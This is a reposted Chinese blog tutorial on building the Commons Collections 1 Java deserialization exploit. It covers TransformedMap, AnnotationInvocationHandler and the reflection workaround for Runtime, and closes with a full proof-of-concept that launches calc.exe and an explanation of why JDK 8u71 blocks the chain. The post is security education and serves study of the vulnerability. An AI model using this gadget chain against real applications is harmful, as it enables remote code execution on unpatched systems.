java安全(八)TransformedMap構造POC

給個關注?寶兒!
給個關注?寶兒!
給個關注?寶兒!

上一篇構造了一個了commons-collections的demo
【傳送門】

package test.org.vulhub.Ser;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;public class CommonCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"C:\\WINDOWS\\system32\\calc.exe"}),};Transformer transformerChain = newChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);outerMap.put("test", "xxxx");}
}

了解了Transformer,接下來嘗試構建poc

AnnotationInvocationHandler

這個漏洞核心,是想Map中加一個新的元素,在demo中,我們通過手工執行 outerMap.put(“test”, “xxxx”); 來出發漏洞。但是在實際反序列化中,還需要有一個雷,使他在反序列化readObject中有類似寫入的操作

就是:sun.reflect.annotation.AnnotationInvocationHandler

AnnotationInvocationHandler的 readObject方法:

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject()// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null; try {annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in 
annotation serial stream"); 
}Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : 
memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( New AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } 
} 

核心邏輯:Map.Entry<String, Object> memberValue : memberValues.entrySet() 和 memberValue.setValue(…)

memberValues 就是反序列化后得到的Map,也是經過了TransformeMap 修飾的對象,這里遍歷了他所有的元素,并以此設置值,在調用setValue設置時,會觸發TransformedMap里注冊的Transform ,然后繼續執行我們設計的任意代碼。

故在構造poc時,需要創建一個AnnotationInvocationHandler對象,并將前面構造的HashMap設置盡量

Class clazz = 
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); 
Object obj = construct.newInstance(Retention.class, outerMap);

這里的sun.reflect.annotation.AnnotationInvocationHandler 是在JDK內部的類,不能直接使用new來實例化。我們使用反射獲取他的構造方法,并將他設置成外部可見的,在調用就可以實例化了。

AnnotationInvocationHandler類的構造函數有兩個參數: Annotation類 和 前面構造的Map。

使用反射的原因:

上一篇構造了 AnnotationInvocationHandler對象, 他就是我們反序列化利用鏈的七點,我們通過如下代碼將這個對象生成序列化流

ByteArrayOutputStream barr = new ByteArrayOutputStream(); 
ObjectOutputStream oos = new ObjectOutputStream(barr); 
oos.writeObject(obj); 
oos.close();

在這里插入圖片描述
在writeObject的時候出現異常: java.io.NotSerializableException: java.lang.Runtime 。

因為,java 中并非所有對象都支持序列化,待序列化的對象和所有他使用的內部屬性對象,必須都實現 java.io.Serializable接口。
而我們最早傳給 ConstantTransformer的事 Runtime.getRuntime(), Runtime 類是沒有實現 java.io.Serializable接口,所有不允許被序列化。
那么,就需要通過反射的方式,獲取當前上下文中的Runtime的對象,而不需要直接使用這個類

Method f = Runtime.class.getMethod("getRuntime"); 
Runtime r = (Runtime) f.invoke(null); 
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); 

轉換成Transformer寫法:

Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { 				"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class },new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "C:\WINDOWS\system32\calc.exe" }), 
}; 

其實和demo最大的區別就是將 Runtime.getRuntime() 換成了 Runtime.class ,前者是一個
java.lang.Runtime 對象,后者是一個 java.lang.Class 對象。Class類有實現Serializable接口,所
以可以被序列化。

為什么仍然無法觸發漏洞?

修改Transformer數組后再次運行,發現這次沒有報異常,而且輸出了序列化后的數據流,但是反序列
化時仍然沒彈出計算器,這是為什么呢?

這個實際上和AnnotationInvocationHandler類的邏輯有關,我們可以動態調試就會發現,在
AnnotationInvocationHandler:readObject 的邏輯中,有一個if語句對var7進行判斷,只有在其不
是null的時候才會進入里面執行setValue,否則不會進入也就不會觸發漏洞:

那么如何讓這個var7不為null呢?這一塊我就不詳細分析了,還會涉及到Java注釋相關的技術。直接給
出兩個條件:

  1. sun.reflect.annotation.AnnotationInvocationHandler 構造函數的第一個參數必須是
    Annotation的子類,且其中必須含有至少一個方法,假設方法名是X 2. 被 TransformedMap.decorate 修飾的Map中必須有一個鍵名為X的元素
    所以,這也解釋了為什么我前面用到 Retention.class ,因為Retention有一個方法,名為value;所
    以,為了再滿足第二個條件,我需要給Map中放入一個Key是value的元素:
innerMap.put("value", "xxxx");

為什么Java高版本無法利用?

但是這段poc有局限性,我們的環境是java 8u71 以前的,在8u71后2015年12越時,Java
官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函數:http://h
g.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d在這里插入圖片描述

對于這次修改,有些文章說是因為沒有了setValue,其實原因和setValue關系不大。改動后,不再直接
使用反序列化得到的Map對象,而是新建了一個LinkedHashMap對象,并將原來的鍵值添加進去。
所以,后續對Map的操作都是基于這個新的LinkedHashMap對象,而原來我們精心構造的Map不再執
行set或put操作,也就不會觸發RCE了。

我們這一章將上一章給出的demo擴展成為了一個真實可利用的POC,完整代碼如下:

package org.vulhub.Ser; import org.apache.commons.collections.Transformer; 
import org.apache.commons.collections.functors.ChainedTransformer; 
import org.apache.commons.collections.functors.ConstantTransformer; 
import org.apache.commons.collections.functors.InvokerTransformer; 
import org.apache.commons.collections.map.TransformedMap; import java.io.ByteArrayInputStream; 
import java.io.ByteArrayOutputStream; 
import java.io.ObjectInputStream; 
import java.io.ObjectOutputStream; 
import java.lang.annotation.Retention; 
import java.lang.reflect.Constructor; 
import java.lang.reflect.InvocationHandler; 
import java.util.HashMap; 
import java.util.Map; public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { 
String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] 
}), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { 
"C:\WINDOWS\system32\calc.exe" }), };Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(innerMap, null, 
transformerChain); Class clazz = 
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, 
Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) 
construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new 
ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } 
}

但是這個Payload有一定局限性,在Java 8u71以后的版本中,由于
sun.reflect.annotation.AnnotationInvocationHandler 發生了變化導致不再可用,原因前文也說
了。

看ysoserial就沒有使用這個TransformeMap,而是使用了LazyMap。

即使使用LazyMap仍然無法在高版本的Java中使用這條利用鏈,主要原因還是出在
sun.reflect.annotation.AnnotationInvocationHandler 這個類的修改上

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/532538.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/532538.shtml
英文地址,請注明出處:http://en.pswp.cn/news/532538.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Pytorch Tutorial 使用torch.autograd進行自動微分

Pytorch Tutorial 使用torch.autograd進行自動微分 本文翻譯自 PyTorch 官網教程。 原文&#xff1a;https://pytorch.org/tutorials/beginner/basics/autogradqs_tutorial.html#optional-reading-tensor-gradients-and-jacobian-products 在訓練神經網絡時&#xff0c;最常使用…

TVM:編譯深度學習模型快速上手教程

TVM&#xff1a;編譯深度學習模型快速上手教程 本文將展示如何使用 Relay python 前端構建一個神經網絡&#xff0c;并使用 TVM 為 Nvidia GPU 生成一個運行時庫。 注意我們需要再構建 TVM 時啟用了 cuda 和 llvm。 TVM支持的硬件后端總覽 在本教程中&#xff0c;我們使用 cu…

TVM:設計與架構

TVM&#xff1a;設計與架構 本文檔適用于想要了解 TVM 架構和/或積極開發項目的開發人員。頁面組織如下&#xff1a; 示例編譯流程概述了 TVM 將模型的高層描述轉換為可部署模塊所采取的步驟。要開始使用&#xff0c;請先閱讀本節。 邏輯架構組件部分描述了邏輯組件。后面的部…

遞歸+回溯

遞歸-回溯 本文參考自代碼隨想錄視頻&#xff1a; https://www.bilibili.com/video/BV1cy4y167mM https://www.bilibili.com/video/BV1ti4y1L7cv 遞歸回溯理論基礎 只要有遞歸&#xff0c;就會有回溯&#xff0c;遞歸函數的下面的部分通常就是回溯的邏輯。 回溯是純暴力的搜索…

Nvidia CUDA初級教程1 CPU體系架構綜述

Nvidia CUDA初級教程1 CPU體系架構綜述 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p2 講師&#xff1a;周斌 本節內容&#xff1a;了解現代CPU的架構和性能優化&#xff1a; 流水線 Pipelining分支預測 Branch Prediction超標量 Superscalar亂序執行 Out…

Nvidia CUDA初級教程2 并行程序設計概述

Nvidia CUDA初級教程2 并行程序設計概述 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p3 講師&#xff1a;周斌 本節內容&#xff1a; 為什么需要&#xff1f;怎么做&#xff1f;一些技術和概念 串并行計算模式 串行計算模式 常規軟件時串行的 設計運行…

Nvidia CUDA初級教程4 GPU體系架構概述

Nvidia CUDA初級教程4 GPU體系架構概述 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p5 講師&#xff1a;周斌 本節內容&#xff1a; 為什么需要GPU三種方法提升GPU的處理速度實際GPU的設計舉例&#xff1a; NVDIA GTX 480: FermiNVDIA GTX 680: Kepler GP…

Nvidia CUDA初級教程5 CUDA/GPU編程模型

Nvidia CUDA初級教程5 CUDA/GPU編程模型 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p6 講師&#xff1a;周斌 本節內容&#xff1a; CPU和GPU互動模式GPU線程組織模型&#xff08;需要不停強化&#xff09;GPU存儲模型基本的編程問題 CPU與GPU交互 各自…

Nvidia CUDA初級教程6 CUDA編程一

Nvidia CUDA初級教程6 CUDA編程一 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p7 講師&#xff1a;周斌 GPU架構概覽 GPU特別使用于&#xff1a; 密集計算&#xff0c;高度可并行計算圖形學 晶體管主要被用于&#xff1a; 執行計算而不是 緩存數據控制指令…

由前中后遍歷序列構建二叉樹

由前/中/后遍歷序列構建二叉樹 基礎 首先&#xff0c;我們需要知道前中后序三種深度優先遍歷二叉樹的方式的具體順序&#xff1a; 前序&#xff1a;中左右中序&#xff1a;左中右后序&#xff1a;左右中 另外&#xff0c;要知道只有中序前/后序可以唯一確定一棵二叉樹&…

手寫nms

手寫nms 計算寬高的時候加1是為什么&#xff1f; 本文總結自互聯網的多種nms實現&#xff0c;供參考&#xff0c;非博主原創&#xff0c;各原文鏈接如下&#xff0c;也建議大家動手寫一寫。 Ref&#xff1a; 淺談NMS的多種實現 目標窗口檢測算法-NMS非極大值抑制 一、fas…

目標檢測綜述

目標檢測綜述 轉自&#xff1a;https://zhuanlan.zhihu.com/p/383616728 論文參考&#xff1a;[Object Detection in 20 Years: A Survey][https://arxiv.org/abs/1905.05055] 引言 目標檢測領域發展至今已有二十余載&#xff0c;從早期的傳統方法到如今的深度學習方法&#x…

Nvidia CUDA初級教程7 CUDA編程二

Nvidia CUDA初級教程7 CUDA編程二 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p8 講師&#xff1a;周斌 本節內容&#xff1a; 內置類型和函數 Built-ins and functions線程同步 Synchronizing線程調度 Scheduling threads存儲模型 Memory model重訪 Matr…

詳解優酷視頻質量評價體系

萬字長文 | 詳解優酷視頻質量評價體系 分享嘉賓&#xff5c;李靜博士&#xff0c;阿里巴巴文娛集團資深算法專家&#xff0c;阿里巴巴大文娛摩酷實驗室視頻體驗與質量團隊負責人 整理出品&#xff5c;AICUG人工智能社區 本文地址&#xff1a;https://www.6aiq.com/article/1617…

視頻質量評價:挑戰與機遇

視頻質量評價&#xff1a;挑戰與機遇 轉自&#xff1a;https://zhuanlan.zhihu.com/p/384603663 本文整理自鵬城實驗室助理研究員王海強在LiveVideoStack線上分享上的演講。他通過自身的實踐經驗&#xff0c;詳細講解了視頻質量評價的挑戰與機遇。 文 / 王海強 整理 / LiveVi…

關于二分法的邊界問題及兩種寫法

關于二分法的邊界問題及兩種寫法 二分查找法大家很熟悉了&#xff0c;對于一個有序序列&#xff0c;我們可以通過二分查找法在 O(logN)O(logN)O(logN) 的時間內找到想要的元素。但是&#xff0c;在代碼實現的過程中&#xff0c;如果沒有仔細理解清楚&#xff0c;二分法的邊界條…

LeetCode上的各種股票最大收益

LeetCode上的各種股票最大收益 對于力扣平臺上的股票類型的題目&#xff1a; 121 買賣股票的最佳時機 122 買賣股票的最佳時機 II 123 買賣股票的最佳時機 III 124 買賣股票的最佳時機 IV 309 最佳買賣股票時機含冷凍期 714 買賣股票的最佳時機含手續費 劍指 Offer 63. …

建設專業化運維服務團隊必要性

信息系統的生命周期涵蓋&#xff1a;設計、開發、測試、部署上線、運行維護。其中&#xff0c;運行維護階段是信息系統生命周期中的關鍵環節&#xff0c;其執行效果直接影響系統是否能達到預期的運行目標。為了實現這個目標&#xff0c;我們必須建立一個以業務服務為導向的專業…

docker初探

docker初探 本文旨在介紹 docker 基本的安裝、常用命令和常見概念的辨析&#xff0c;方便新手入門和筆者日后查閱&#xff0c;大部分內容整理自互聯網&#xff0c;原出處在文中注明。 文章目錄docker初探docker安裝&#xff08;mac&#xff09;版本、信息相關命令version/info…

ubuntu安裝zsh、oh-my-zsh及常用配置

ubuntu安裝zsh、oh-my-zsh及常用配置 目前&#xff0c;ubuntu默認的shell是bash&#xff0c;但還有一種shell&#xff0c;叫做zsh它比bash更加強大&#xff0c;功能也更加完善&#xff0c;zsh雖說功能強大&#xff0c;但是配置比較復雜導致流行度不是很高 但是好東西終究是好…